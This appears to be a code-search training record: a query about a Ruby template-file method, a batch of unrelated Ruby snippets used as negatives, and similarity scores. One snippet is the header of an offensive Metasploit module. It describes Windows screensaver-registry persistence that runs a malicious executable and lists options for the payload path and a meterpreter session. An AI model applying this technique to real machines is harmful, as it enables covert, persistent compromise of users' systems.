tubes\"\n check \"Ensure that the B33-143-492 labels are loaded in the printer. This number should be displayed on the printer. If not, check with a lab manager.\"\n check \"Open the LabelMark 6 software.\"\n check \"Select \\\"Open\\\" --> \\\"File\\\" --> \\\"Serialized data top labels\\\"\"\n note \"If an error about the printer appears, press \\\"Okay\\\"\"\n check \"Select the first label graphic, and click on the number in the middle of the label graphic.\"\n check \"On the toolbar on the left, select \\\"Edit serialized data\\\"\"\n if operations.first.output(OUTPUT).item != nil\n check \"Enter #{operations.first.output(OUTPUT).item.id} for the Start number and #{operations.length} for the Total number, and select \\\"Finish\\\"\"\n else\n check \"No start number found.\"\n end\n check \"Select \\\"File\\\" --> \\\"Print\\\" and select \\\"BBP33\\\" as the printer option.\"\n check \"Press \\\"Print\\\" and collect the labels.\"\n image \"purify_gel_edit_serialized_data\"\n image \"purify_gel_sequential\"\n end \n end", "def graphic(number)\n File.open(\"#{frame_id(number)}.svg\", \"w\") do |file|\n file.write render(\"bit101_style.erb\")\n end\n\n system(\"convert #{frame_id(number)}.svg #{frame_id(number)}.jpg\")\n # system(\"java -jar ~/Downloads/batik-1.7/batik-rasterizer.jar #{frame_id(number)}.svg\")\n File.unlink(\"#{frame_id(number)}.svg\")\n\n print \"+\"\nend", "def get_random_program_type\n DataUtility.select_random_from_options(@prng, ProgramType.all).key\n end", "def generate_controls(text)\n contents_text = \"\"\n loop do\n c = text.slice!(/./m)\n case c\n when nil\n break\n #--------------------------\n # DEFAULT FEATURES\n #-----------------------\n when \"\\x01\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n @last_color = $1.to_i\n contents.font.color = text_color($1.to_i)\n \n #--------------------------\n # * NMS FEATURES!!\n #-----------------------\n when \"\\x83\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n\n new_line if (@contents_x + 24 > contents.width)\n\n # Draw ICON\n ucIcon = UCIcon.new(self, Rect.new(@contents_x, @contents_y, 24, 24), $1.to_i)\n @cControlsList.push(ucIcon)\n @contents_x += 24\n when \"\\x84\"\n text.sub!(/\\[(.*?)\\]/, \"\")\n contents.font.name = $1.to_s\n when \"\\x85\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n contents.font.size = $1.to_i\n when \"\\x86\"\n contents.font.name = Font.default_name \n when \"\\x87\"\n contents.font.size = Font.default_size\n when \"\\x88\"\n contents.font.bold = contents.font.bold == true ? false : true\n when \"\\x89\"\n contents.font.italic = contents.font.italic == true ? false : true\n when \"\\x93\"\n contents.font.shadow = contents.font.shadow == true ? false : true\n when \"\\x11\"\n text.sub!(/\\[(.*?)\\]/, \"\")\n a = $1.to_s.split(',')\n bitmap = Cache.picture(a[0])\n\n new_line if (@contents_x + bitmap.width > contents.width)\n \n # Size\n if !a[1].nil? && !a[1].empty?\n width = a[1].to_i\n else\n width = bitmap.width\n end\n if !a[2].nil? && !a[2].empty?\n height = a[2].to_i\n else\n height = bitmap.height\n end\n \n # Border\n if !a[3].nil? && !a[3].empty?\n border = a[3].to_i \n else\n border = 0\n end\n if !a[4].nil? && !a[4].empty?\n border_color = text_color(a[4].to_i)\n else\n border_color = nil\n end\n\n # Draw Image\n ucImageBorder = UCImageBorder.new(self, Rect.new(@contents_x, @contents_y, width, height),\n bitmap, Rect.new(0,0, width-border*2, height-border*2),\n 0, 255, 0, border, border_color)\n @cControlsList.push(ucImageBorder)\n \n @contents_x += width\n @biggest_text_height = height if height > @biggest_text_height\n #bitmap.dispose\n when \"\\x12\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n\n new_line if (@contents_x + 96 > contents.width)\n\n # Draw Face\n actor = Game_Actor.new($1.to_i)\n ucCharFace = UCCharacterFace.new(self, Rect.new(@contents_x, @contents_y, 96, 96), actor)\n @cControlsList.push(ucCharFace)\n \n @biggest_text_height = 96 if 96 > @biggest_text_height\n else\n # Draw Text\n next_char = text.slice(/./m)\n contents_text += c\n if next_char == nil || next_char.match(/[\\x01-\\x12\\x80-\\xff]/) != nil\n text_height = contents.get_text_height(contents_text)\n if text_height < WLH\n text_height = WLH\n end\n @biggest_text_height = text_height if text_height > @biggest_text_height\n\n rect = Rect.new(@contents_x, @contents_y, contents.width, @biggest_text_height)\n cLabel = CLabel.new(self, rect, contents_text, 0, contents.font.clone, \n true, false, 3)\n @cControlsList.push(cLabel)\n \n lines = contents.split_multiline(rect, contents_text, 3)\n if lines.size > 1\n text_height = contents.get_text_height(contents_text)\n if text_height < WLH\n text_height = WLH\n end\n text_height = @biggest_text_height + text_height * (lines.size-2)\n @biggest_text_height = text_height if text_height > @biggest_text_height\n new_line\n end\n\n contents_text = \"\"\n @contents_x += contents.get_text_width(lines[lines.size-1])\n end\n \n end\n end\n\n end", "def create_graphics\n super()\n create_background\n create_type_background\n create_pokemon_battler_stack\n create_pokemon_text_boxes\n create_congratulation_text_boxes\n create_pokemon_stars_animation\n create_graveyard_anim\n create_turning_ball\n create_party_battler_stack\n create_league_champion_text_box\n create_trainer_infos_text_box\n create_end_stars\n end", "def initialize(info={})\n super(update_info(info,\n 'Name' => 'SCRNSAVE T1180 (User-land Persistence)',\n 'Description' => %q{\n To achieve persistence the attacker can modify 'SCRNSAVE.EXE' value in the registry and change its data to point to any malicious file, next the attacker has to enable the screensaver on the endpoint and change screensaver timeout by modifying the registry data for 'ScreenSaveActive' and 'ScreenSaveTimeOut'. Once this is completed, anytime the user leaves their desktop unattended for the specified amount of time, the screensaver function automatically kicks in and executes the attackers malicious PE/Appl.\n },\n 'License' => UNKNOWN_LICENSE,\n 'Author' =>\n [\n 'Module Author: r00t-3xp10it',\n 'Special Thanks: shanty damayanti',\n ],\n \n 'Version' => '$Revision: 1.4',\n 'DisclosureDate' => '11 02 2019',\n 'Platform' => 'windows',\n 'Arch' => 'x86_x64',\n 'Privileged' => 'false', # Thats no need for privilege escalation.\n 'Targets' =>\n [\n # Affected systems are.\n [ 'Windows 2008', 'Windows xp', 'windows vista', 'windows 7', 'windows 9', 'Windows 10' ]\n ],\n 'DefaultTarget' => '6', # Default its to run againts windows 10\n 'References' =>\n [\n [ 'URL', 'https://attack.mitre.org/techniques/T1180/' ],\n [ 'URL', 'https://github.com/r00t-3xp10it/msf-auxiliarys' ],\n [ 'URL', 'https://ired.team/offensive-security/t1180-screensaver-hijack' ],\n [ 'URL', 'https://www.howtogeek.com/225305/how-to-find-and-set-screen-savers-on-windows-10/' ]\n\n\n ],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n 'LOOT_FOLDER' => '/root/.msf4/loot', # Default logs storage directory\n 'APPL_PATH' => '%windir%\\\\System32\\\\calc.exe', # Default PE/appl (payload) to run (test)\n\t\t\t\t},\n 'SessionTypes' => [ 'meterpreter' ]\n \n ))\n \n register_options(\n [\n OptString.new('SESSION', [ true, 'The session number to run this module on', 1]),\n OptString.new('TIME_OUT', [ true, 'Set inactivity timeout before screensaver runs', 10]),\n OptString.new('APPL_PATH', [ true, 'Set absoluct path of malicious PE/Appl to run'])\n ], self.class)\n\n register_advanced_options(\n [\n OptBool.new('LOG_OFF', [ false, 'Logoff current user to force registry refresh?', false]),\n OptString.new('LOOT_FOLDER', [ true, 'Set the absoluct path where to store revert.rc (local)'])\n ], self.class)\n\n end", "def generate()\n say \"Generating Cloud #{ options[:cloud] } IaC\", :green\n @values = parse_cloud_config\n\n case options[:cloud]\n when 'aws'\n copy_file('aws/terraform/main.tf', 'terraform/main.tf')\n copy_file('aws/terraform/network.tf', 'terraform/network.tf')\n copy_file('aws/terraform/outputs.tf', 'terraform/outputs.tf')\n copy_file('aws/terraform/variables.tf', 'terraform/variables.tf')\n template('aws/terraform/terraform.tfvars.erb', 'terraform/terraform.tfvars')\n copy_file('aws/README.md', 'README.md')\n\n template('aws/bosh-install.sh.erb', 'bin/bosh-install.sh')\n template('aws/setup-tunnel.sh.erb', 'bin/setup-tunnel.sh')\n template('aws/concourse-deploy.sh.erb', 'bin/concourse-deploy.sh')\n template('aws/set-env.sh.erb', 'bin/set-env.sh')\n chmod('bin/bosh-install.sh', 0755)\n chmod('bin/concourse-deploy.sh', 0755)\n chmod('bin/setup-tunnel.sh', 0755)\n\n when 'gcp'\n copy_file('gcp/terraform/main.tf', 'terraform/main.tf')\n copy_file('gcp/terraform/network.tf', 'terraform/network.tf')\n copy_file('gcp/terraform/outputs.tf', 'terraform/outputs.tf')\n copy_file('gcp/terraform/variables.tf', 'terraform/variables.tf')\n template('gcp/terraform/terraform.tfvars.erb', 'terraform/terraform.tfvars')\n copy_file('gcp/README.md', 'README.md', force: true)\n\n template('gcp/bosh-install.sh.erb', 'bin/bosh-install.sh')\n template('gcp/bosh-vars.yml.erb', 'bosh-vars.yml')\n template('gcp/setup-tunnel.sh.erb', 'bin/setup-tunnel.sh')\n template('gcp/set-env.sh.erb', 'bin/set-env.sh')\n chmod('bin/bosh-install.sh', 0755)\n chmod('bin/setup-tunnel.sh', 0755)\n\n else\n say 'Cloud provider not specified'\n\n end\n end", "def allocate(session, template)\n write_task('rvpe.image.allocate', session) do\n image_def = ResourceFile::Parser.load_yaml(template)\n t = Transfer.find_by_name(image_def[ResourceFile::Image::TRANSFER])[0]\n # check fields\n err_msg_suffix = ' in Image file.'\n # check name\n _name = image_def[ResourceFile::Image::NAME]\n unless _name\n t.cleanup\n raise 'Specify ' + ResourceFile::Image::NAME + err_msg_suffix\n end\n unless Image.find_by_name(_name, session, -2).empty?\n t.cleanup\n raise \"Image[#{_name}] already exists. Use another name.\"\n end\n # check type\n _type = image_def[ResourceFile::Image::TYPE]\n _type = 'OS' unless _type\n # check attributes\n if image_def[ResourceFile::Image::PUBLIC] &&\n image_def[ResourceFile::Image::PERSISTENT]\n t.cleanup\n raise \"An image can't be public and persistent at the same time.\"\n end\n _public = image_def[ResourceFile::Image::PUBLIC]\n if _public\n _public = 'YES' # yaml automatically converted 'YES' to true\n else\n _public = 'NO'\n end\n _persistent = image_def[ResourceFile::Image::PERSISTENT]\n if _persistent\n _persistent = 'YES' # yaml automatically converted 'YES' to true\n else\n _persistent = 'NO'\n end\n # check bus\n _bus = image_def[ResourceFile::Image::IO_BUS]\n _bus = 'virtio' unless _bus\n case _bus.downcase\n when 'virtio'\n _dev_prefix = 'vd'\n when 'ide'\n _dev_prefix = 'hd'\n else\n _dev_prefix = 'sd'\n end\n # check nic model\n _nic_model = image_def[ResourceFile::Image::NIC_MODEL]\n _nic_model = 'virtio' unless _nic_model\n # check image file\n begin\n image_sanity_check(t.path)\n rescue => e\n t.cleanup\n raise e\n end\n\n one_template = <<EOT\nNAME = \"#{_name}\"\nDESCRIPTION = \"#{image_def[ResourceFile::Image::DESCRIPTION]}\"\nTYPE = \"#{_type}\"\nPUBLIC = \"#{_public}\"\nPERSISTENT = \"#{_persistent}\"\nBUS = \"#{_bus}\"\nDEV_PREFIX = \"#{_dev_prefix}\"\nNIC_MODEL = \"#{_nic_model}\"\nPATH = \"#{image_def[ResourceFile::Image::PATH]}\"\nEOT\n rc = call_one_xmlrpc('one.image.allocate', session, one_template)\n\n if rc[0]\n # move OS image to the image storage directory\n rc2 = call_one_xmlrpc('one.image.info', session, rc[1])\n unless rc2[0]\n t.cleanup\n raise rc2[1]\n end\n doc = REXML::Document.new(rc2[1])\n FileUtils.mv(t.path, doc.get_text('IMAGE/SOURCE').value)\n end\n t.cleanup\n rc\n end\n end", "def manifest(type)\n type = type.downcase\n say \"Rendering #{type} manifest\", :green\n @values = parse_cloud_config\n @tf_output = parse_tf_state('terraform/terraform.tfstate') if options[:cloud] == 'aws'\n\n if options[:cloud] == 'aws'\n @private_subnet = IPAddr.new(@values['aws']['private_subnet']['network']).to_range.to_a\n @public_subnet = IPAddr.new(@values['aws']['public_subnet']['network']).to_range.to_a\n else\n @private_subnet = IPAddr.new(@values['gcp']['subnet_cidr']).to_range.to_a\n end\n\n @static_ip_vault = @private_subnet[11].to_s\n @static_ips_concourse = [@private_subnet[12]].map(&:to_s)\n @static_ip_prometheus_stack = @private_subnet[18].to_s\n\n case type\n when \"bosh\"\n directory(\"#{options[:cloud]}/deployments/bosh\", 'deployments/bosh')\n template(\"#{options[:cloud]}/bosh-vars.yml.erb\", 'config/bosh-vars.yml')\n copy_file(\"#{options[:cloud]}/docs/bosh.md\", \"docs/bosh.md\")\n template(\"#{options[:cloud]}/bin/bosh-install.sh.tt\", \"bin/bosh-install.sh\")\n chmod('bin/bosh-install.sh', 0755)\n\n when \"concourse\"\n directory(\"#{options[:cloud]}/deployments/concourse\", \"deployments/concourse\")\n copy_file(\"#{options[:cloud]}/docs/concourse.md\", \"docs/concourse.md\")\n template(\"#{options[:cloud]}/bin/concourse-deploy.sh.tt\", \"bin/concourse-deploy.sh\")\n chmod('bin/concourse-deploy.sh', 0755)\n ingress_add_entry(@values['concourse']['hostname'], @static_ips_concourse, port: 8080)\n\n when \"vault\"\n template(\"#{options[:cloud]}/deployments/vault/vault.yml.erb\", \"deployments/vault/vault.yml\")\n copy_file(\"#{options[:cloud]}/docs/vault.md\", \"docs/vault.md\")\n template(\"#{options[:cloud]}/bin/vault-deploy.sh.tt\", \"bin/vault-deploy.sh\")\n chmod('bin/vault-deploy.sh', 0755)\n ingress_add_entry(@values['vault']['hostname'], [@static_ip_vault], port: 8200)\n\n when \"ingress\"\n template(\"#{options[:cloud]}/deployments/ingress/ingress.yml.erb\", \"deployments/ingress/ingress.yml\")\n copy_file(\"#{options[:cloud]}/docs/ingress.md\", \"docs/ingress.md\")\n template(\"#{options[:cloud]}/bin/ingress-deploy.sh.tt\", \"bin/ingress-deploy.sh\")\n template(\"#{options[:cloud]}/bin/ingress-update.sh.tt\", \"bin/ingress-update.sh\")\n chmod('bin/ingress-deploy.sh', 0755)\n chmod('bin/ingress-update.sh', 0755)\n\n when \"prometheus\"\n directory(\"#{options[:cloud]}/deployments/prometheus\", \"deployments/prometheus\")\n copy_file(\"#{options[:cloud]}/docs/prometheus.md\", \"docs/prometheus.md\")\n template(\"#{options[:cloud]}/bin/prometheus-deploy.sh.tt\", \"bin/prometheus-deploy.sh\")\n chmod('bin/prometheus-deploy.sh', 0755)\n ingress_add_entry(@values['alertmanager']['hostname'], [@static_ip_prometheus_stack], port: 9093)\n ingress_add_entry(@values['grafana']['hostname'], [@static_ip_prometheus_stack], port: 3000)\n ingress_add_entry(@values['prometheus']['hostname'], [@static_ip_prometheus_stack], port: 9090)\n\n else\n say \"Manifest type not specified\"\n\n end\n end", "def assign_cloud_resource_id\n\tif self.launch_configuration_name.blank?\n\t chars = (\"a\"..\"f\").to_a + (\"0\"..\"9\").to_a\n\t n = \"lc-\"\n\t 1.upto(8) { |i| n << chars[rand(chars.size-1)] }\n\t self.launch_configuration_name = n\n\tend\n end", "def addLocationGUI(srcPhoto)\n # Need a symlink to Pashua in this folder too, include and require moved to top\n\n $:.push(File.dirname($0))\n\nconfig = <<end_of_string\n# Set transparency: 0 is transparent, 1 is opaque\n*.transparency=0.95\n\n# Set window title. \"2\" since the second window that appears\n*.title = 2. Add location information based on fileEXIF only\n\n# Introductory text\ntxt.type = text\ntxt.width = 500\ntxt.default = Select the location of the files to which location information[return] based on GPS coordinates in file EXIF are to be added[return] without moving the files\n\n# Photo folder select\n# FIX put in just mounted card when get app to detect mounted cards\nsrcSelect.type = openbrowser\nsrcSelect.label = Select the folder containing the photos:\nsrcSelect.width=550\n# presumably can use a variable\nsrcSelect.default = #{srcPhoto}\n\n\n# Add a cancel button with default label\ncb.type = cancelbutton\n\nend_of_string\n\n # Set the images' paths relative to this file's path / \n # skip images if they can not be found in this file's path\n icon = File.dirname($0) << \"/.icon.png\";\n bgimg = File.dirname($0) << \"/.demo.png\";\n\n if File::exists?(icon) # Display Pashua's icon\n Config << \"img.type = image\n img.x = 530\n img.y = 255\n img.path = #{icon}\n \"\n end\n\n if File::exists?(bgimg) # Display Pashua's icon\n Config << \"bg.type = image\n bg.x = 30\n bg.y = 2\n bg.path = #{bgimg}\n \"\n end\n\n # pashuaReturn = pashua_run config\n res = pashua_run config\n return res\n \nend", "def pbTrainerCharFile(type) # Used by the phone\n return nil if !type\n bitmapFileName = sprintf(\"Graphics/Characters/trchar%s\",getConstantName(PBTrainers,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Characters/trchar%03d\",type)\n end\n return bitmapFileName\nend", "def pbTrainerCharFile(type) # Used by the phone\n return nil if !type\n bitmapFileName = sprintf(\"Graphics/Characters/trchar%s\",getConstantName(PBTrainers,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Characters/trchar%03d\",type)\n end\n return bitmapFileName\nend", "def grab_plate plate_batch_ids, grab_plate_tab\n show do\n title \"Grab plate\"\n \n note \"Grab the following plates from batches #{plate_batch_ids.join(\", \")} and label with your initials, the date, and the following ids on the top and side of each plate.\"\n table grab_plate_tab\n end\n end", "def build_image(template)\n tpl_file = template[:template]\n tpl_vars_file = \"#{File.dirname(tpl_file)}/vars.json\"\n sh %{ packer build -var-file=#{tpl_vars_file} -var 'image_version=#{template[:vars]['image_version']}' -var 'image_output_directory=#{File.expand_path(Packer::OUTPUT_DIR)}' #{tpl_file}}\nend" ]
[ "0.60788125", "0.60788125", "0.556871", "0.54451555", "0.54415506", "0.5328105", "0.53133774", "0.5303961", "0.53003573", "0.52788794", "0.52770424", "0.52766293", "0.5274809", "0.5228553", "0.5195393", "0.5193483", "0.51827306", "0.5167994", "0.5164604", "0.5134665", "0.5101598", "0.5091102", "0.5078122", "0.5066493", "0.5062589", "0.50599575", "0.5047176", "0.50387496", "0.5024333", "0.50221884", "0.5020831", "0.50204915", "0.5002596", "0.4999483", "0.49831083", "0.49831083", "0.4981788", "0.49792165", "0.49757445", "0.49702054", "0.49600637", "0.495836", "0.49566013", "0.49510345", "0.49483556", "0.49478817", "0.49453503", "0.49437976", "0.49437976", "0.49414355", "0.4941302", "0.49397013", "0.493581", "0.49308822", "0.49262634", "0.49252132", "0.4921875", "0.4921875", "0.49166983", "0.49123937", "0.49111903", "0.49097982", "0.49078292", "0.49025795", "0.4901111", "0.48996612", "0.4898773", "0.48927876", "0.48784488", "0.48771307", "0.48745987", "0.48732278", "0.48707485", "0.48653352", "0.48641518", "0.48598927", "0.48586607", "0.4856724", "0.48564962", "0.48564383", "0.485034", "0.48444068", "0.48419553", "0.48386312", "0.48381424", "0.48334357", "0.4827386", "0.48271984", "0.48226595", "0.48219162", "0.4816886", "0.48165014", "0.4812875", "0.4811617", "0.48100892", "0.48011458", "0.47933328", "0.47933328", "0.47825205", "0.47765127" ]
0.6028714
2
Image for starting the run
def start_run_image image_path(image_name: params[:start_run_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_run; end", "def S(args)\n puts \"\\n=>\\n\"\n @image.show\n end", "def start_run()\n \"Click the <b>Start Run</b> button\"\n end", "def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end", "def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end", "def reboot\n img = ['blue_flower', 'red_flower', 'white_flower', 'pink_flower'].sample\n @image = Gosu::Image.new window, 'images/flowers/' + img +'.png', true\n @drawing = true\n end", "def start\n \n\tend", "def start_run\n # Abstract\n end", "def start_run\n # Abstract\n end", "def start\n configure\n run\n end", "def start *args\n return unless iterm?\n\n init\n\n unless @error_message\n _file = set_file @config.running_file, @config.running_url, @running_tmp\n _file ||= ''\n change_background _file\n end\n rescue => e\n @error_message = e.inspect\n end", "def start\n ucommand(:start)\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n loop do\n run\n end\n end", "def start_run\n 'Click the <b>Start Run</b> button'\n end", "def start_run\n 'Click the <b>Start Run</b> button'\n end", "def start\n\n end", "def start\n\t\tend", "def start()\n\n\t\tend", "def start\n main_loop\n end", "def run_main\n end", "def exec\n @build_error = false\n path = File.expand_path('../../../builds', __FILE__)\n image = create_image path\n\n if @build_error\n build.failed('')\n return nil\n end\n image\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def start\n build_all_assets \"Building all assets\"\n end", "def run\n call(\"/tmp/sonic/bash_scripts/docker-run.sh\")\n end", "def run\n running\n image = MarmotBuild::BuildImage.new(build: self).exec\n return nil if image.nil?\n container = MarmotBuild::CreateContainer.new(image: image).exec\n exec_build_and_tests container\n success if status != 'failed'\n image.id\n rescue StandardError => e\n failed(e.message)\n ensure\n MarmotBuild::KillContainer.new(container: container).exec unless container.nil?\n end", "def start\n end", "def start\n end", "def run\n super\n \n net_service = _get_entity_name\n \n target = net_service.split(\":\").first\n port = net_service.split(\":\").last.split(\"/\").first\n \n unless port == \"3389\"\n _log \"Incorrect RDP port! Will not perform certificate extraction.\"\n return\n end\n \n rdesktop_command = \"xvfb-run scrying -t rdp://#{target} -o /tmp/scrying_outputs\"\n _log \"Running: #{rdesktop_command}\"\n _unsafe_system(rdesktop_command)\n \n if File.file?(\"/tmp/scrying_outputs/rdp/#{target}-3389.png\")\n _log \"Found screenshot! Attaching to entity as detail\"\n # todo, set image as entity detail\n screenshot_image = Base64.strict_encode64(File.read(\"/tmp/scrying_outputs/rdp/#{target}-3389.png\"))\n _set_entity_detail \"extended_screenshot_contents\", screenshot_image\n _set_entity_detail \"screenshot_exists\", true\n\n \n # delete temporary screenshot file\n _unsafe_system(\"rm /tmp/scrying_outputs/rdp/#{target}-3389.png\")\n else\n _set_entity_detail \"screenshot_exists\", false\n end\n\n end", "def run\n puts \"#{@name} is running.\"\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def start\n\t\tinit\n\t end", "def start\n end", "def start\n create('start')\n end", "def start\n puts \"Starting #{@resource[:name]}\"\n return if running?\n cmd = [command(:instance_manager)]\n cmd += [\"start\"]\n cmd += [@resource[:name]]\n run(cmd)\n end", "def startup\n end", "def startup\nend", "def build(autoinst)\n Dir.chdir(work_dir) do\n log.info \"Creating #{veewee_provider} image\"\n cmd = \"veewee #{veewee_provider} build #{IMAGE_NAME} --force --auto\"\n cmd << \" --nogui\" if headless\n system(build_environment(autoinst), cmd)\n end\n end", "def run\n end", "def execute\n build_spec = Runner.make_build_spec(@source_provider, @build_spec_path)\n env = make_env(build_spec)\n\n container = nil\n begin\n container = Runner.make_container(@image, @source_provider, env)\n run_commands_on_container(container, build_spec)\n ensure\n unless container.nil?\n container.stop\n container.remove\n end\n end\n end", "def startLoadingScreen _args\n \"startLoadingScreen _args;\" \n end", "def image _args\n \"image _args;\" \n end", "def setup\n size 200, 200\n frame_rate 30\n @a = 0\n \n # The background image must be the same size as the parameters\n # into the size method. In this program, the size of \"milan_rubbish.jpg\"\n # is 200 x 200 pixels.\n @background_image = load_image \"milan_rubbish.jpg\"\nend", "def start\n @config[:start]\n end", "def start(options = {})\n setup options\n run!\n end", "def launch\n # To be overriden in subclass,\n # not implemented here.\n raise NotImplementedError\n end", "def start_load_screenshot\n show_loading_bar\n Thread.new{extract_graphic}\n end", "def autostart; end", "def show(path = @path) \n write(path)\n file = path + @filename + '.png'\n if windows?\n system %{cmd /c \"start #{file}\"}\n elsif mac?\n file_to_open = \"/path/to/file.txt\"\n system %{open \"#{file}\"}\n elsif linux?\n begin \n system %{xdg-open \"#{file}\"}\n system %{cmd.exe /c \"start #{file}\"}\n rescue \n system %{cmd.exe /c \"start #{file}\"}\n end\n end\n end", "def setup\n\t\tsize(1800,900) ; background(20) ; frame_rate 30 #JR\n\t\t# size(1400,850) ; background(20) ; frame_rate 30\n\t\t@w, @h = [width,height].map{|i|i/2.0} ; @i = 0\n \t@m = [235,18,85]\n\n \ttext_font create_font(\"SanSerif\",25) ; stroke(200,200,200)\n \t# @img = loadImage(\"/Users/Jon/Desktop/craigslist_map2.jpg\")\n \t@img = loadImage(\"/Users/Jon/Desktop/full_santa_fe.png\")\n\tend", "def start\n logfile.say(\"Starting #{name}\")\n\n if @@system.windows\n # Windows\n say \"Starting [[#{cmd}]] in window\"\n @cmd = \"start cmd /C #{cmd}\"\n run(true)\n else\n say \"Starting [[#{name}]] in background, output to #{logfile}\"\n pid = fork { run(true) }\n PidFile.new(name, @logdir).pid = pid\n ::Process.detach(pid)\n end\n end", "def start # :nodoc:\n log \"Starting\"\n end", "def start!\n verbose('Starting...')\n\n process_kaizen_archive(\n save_to_tempfile('https://codeload.github.com/Wixel/Kaizen/zip/master')\n )\n\n process_normalize_archive(\n save_to_tempfile('https://codeload.github.com/necolas/normalize.css/zip/master')\n )\n\n install_bourbon!\n end", "def start\n @start.call\n @on_start.each(&:call)\n @on_start.clear\n io_initialize\n frame_reset\n @no_mouse = (PSDK_CONFIG.mouse_disabled && !PARGV[:tags])\n init_sprite\n end", "def run\n end", "def run\n end", "def image(file)\n entry = @defn[@latest.name]\n endian = @vm.bigendian ? \"be\" : \"le\"\n init_user(entry)\n File.open(file, 'w') do |f|\n f.puts \"// vmimage #{endian}#{@vm.databits}\"\n @vm.dump(0, @vm.dot, true) do |s|\n f.puts s\n end\n end\n end", "def start\n Result.new(call(CMD_START))\n end", "def start\n # Start dependencies\n @dependencies.each do |dependency|\n dependency.start unless dependency.running?\n end\n\n # Create a container object\n if @container.nil?\n prepare_image\n prepare_container\n end\n\n @container.start unless @container.nil?\n end", "def run\n \n end", "def run\n \n end", "def main\n ImageManip::inspect_image(@image_path)\n dimensions = ImageManip::get_dimensions(@image_path)\n sharp_pixels = get_accidental_pixels(@sharp_path)\n flat_pixels = get_accidental_pixels(@flat_path)\n edits = Hash.new\n edits[:lower_left] = [dimensions[0] / 2, dimensions[1] / 2]\n edits[:rgb_array] = sharp_pixels\n ImageManip::draw_2D_object(@image_path, './new_staff.gif', edits)\n edits[:lower_left] = [dimensions[0] / 3, dimensions[1] / 3]\n edits[:rgb_array] = flat_pixels\n ImageManip::draw_2D_object('./new_staff.gif', './new_staff.gif', edits)\n end", "def start()\r\n\t\t\t@output.puts(\"Welcome to Mastermind!\")\r\n\t\t\t@output.puts(\"Created by: #{created_by} (#{student_id})\")\r\n\t\t\t@output.puts(\"Starting game...\")\r\n\t\t\t@output.puts('Enter \"1\" to run the game in the command-line window or \"2\" to run it in a web browser')\r\n\t\tend", "def start\r\n return if running?\r\n\r\n log(\"Starting Runner...\")\r\n run!\r\n end", "def build_image\n\n build_image = self.clone\n\n build_image.listeners = [$ll = LogfileListener.new(\"build_#{@name}\"), BuildProfilerListener.new]\n build_image.filters = [IgnoreOutputFilter.new, OutputTimestamperFilter.new] if not Rake::application.options.trace\n\n exit_code = build_image.run \"build_#{@name}\"\n\n fail \"build failed: runalias.exe returned #{exit_code}\" if exit_code != 0\n end", "def run\n end", "def run\n puts \"Hello world\"\n end", "def start\n require 'irbtools'\n end", "def show_start\n @start_time = Time.now\n puts TTY::Box.frame(self.class.name,\n \"Start : #{@start_time}\",\n width: TTY::Screen.width, padding: 1,\n border: { left: false, right: false })\n end", "def start\n # start a new game using @config\n end", "def run_start(version)\n puts \"starting chef, version #{version}\"\n end", "def spin_up(starter_script, filename, argc)\n launch = Launcher.new(\n runner: \"#{K9_ROOT}/lib/jruby_art/runners/#{starter_script}\",\n args: argc,\n filename: filename\n )\n launch.cmd\n end", "def spin_up(starter_script, filename, argc)\n launch = Launcher.new(\n runner: \"#{K9_ROOT}/lib/jruby_art/runners/#{starter_script}\",\n args: argc,\n filename: filename\n )\n launch.cmd\n end", "def run(sketch, args)\n ensure_exists(sketch)\n spin_up('run.rb', sketch, args)\n end", "def run\n show_start\n before_run\n main_run\n after_run\n rescue TTY::Command::ExitError => e\n show_exit_error\n raise e\n rescue Errno::ENOENT => e # Maybe we should expand the scope of the error.\n show_exit_error\n raise e\n end", "def run\n require_relative File.join(absolute_path, 'main')\n Gamefic::Tty::Engine.run\n end", "def step\n # Draw everything\n @image.draw @screen\n end", "def start(mode)\n end", "def start\n Command::Installer::Start.new(\n *command_params\n ).execute\n rescue => e\n catch_errors(e)\n end", "def game_start\n game_setup\n @console_delegate.show\n end", "def start\n true\n end" ]
[ "0.6666087", "0.6606987", "0.64159364", "0.6324118", "0.6324118", "0.6310767", "0.6298047", "0.62764716", "0.62764716", "0.62551796", "0.62311065", "0.62242466", "0.6207501", "0.6207501", "0.6207501", "0.6207501", "0.6207501", "0.6207501", "0.6207501", "0.6207501", "0.61744326", "0.61744326", "0.61744326", "0.61744326", "0.61367035", "0.6130943", "0.6130943", "0.6101916", "0.6093694", "0.6092203", "0.6089595", "0.60735434", "0.60646474", "0.6059604", "0.6059604", "0.6059604", "0.605037", "0.6000139", "0.5973183", "0.5961467", "0.5961467", "0.5959753", "0.59344876", "0.5919143", "0.5919143", "0.5919143", "0.5919143", "0.5919143", "0.5919143", "0.5919143", "0.59186536", "0.5916966", "0.5911888", "0.59086025", "0.5907966", "0.5907339", "0.5894784", "0.5882301", "0.5856788", "0.58541435", "0.5852857", "0.58300006", "0.5809876", "0.580631", "0.57964355", "0.5795046", "0.57943594", "0.5793174", "0.57851684", "0.57758313", "0.57742107", "0.57738346", "0.5768202", "0.57607484", "0.57607484", "0.5740759", "0.5738572", "0.5738248", "0.5735404", "0.5735404", "0.57346493", "0.5729323", "0.5718049", "0.5717827", "0.5701175", "0.56987834", "0.5691216", "0.56904876", "0.5687969", "0.56869954", "0.5686745", "0.5686745", "0.5678576", "0.56691194", "0.56673586", "0.5664658", "0.56600165", "0.5656943", "0.5654966", "0.56463784" ]
0.6864887
0
Template File Methods These probably should NOT be overridden in the concrete classes
def program_template_file(program:) template_file( template_name: program.program_template_name, extension: :PROGRAM_EXT ) end
